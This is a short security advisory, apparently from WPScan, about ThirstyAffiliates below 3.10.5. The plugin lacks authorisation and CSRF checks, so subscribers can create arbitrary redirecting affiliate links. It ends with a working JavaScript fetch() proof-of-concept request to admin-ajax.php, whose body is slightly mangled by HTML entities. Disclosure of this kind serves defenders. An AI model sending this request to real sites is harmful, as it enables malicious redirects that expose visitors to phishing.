ThirstyAffiliates Affiliate Link Manager < 3.10.5 - Subscriber+ Arbitrary Affiliate Links Creation

The plugin does not have authorisation and CSRF checks when creating affiliate links, which could allow any authenticated user, such as subscriber to create arbitrary affiliate links, which could then be used to redirect users to an arbitrary website

PoC

fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=ta_process_quick_add_affiliate_link&ta;_link_name=test&ta;_destination_url=https://wpscan.com/&amp;ta;_redirect_type=301”, “method”: “POST”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));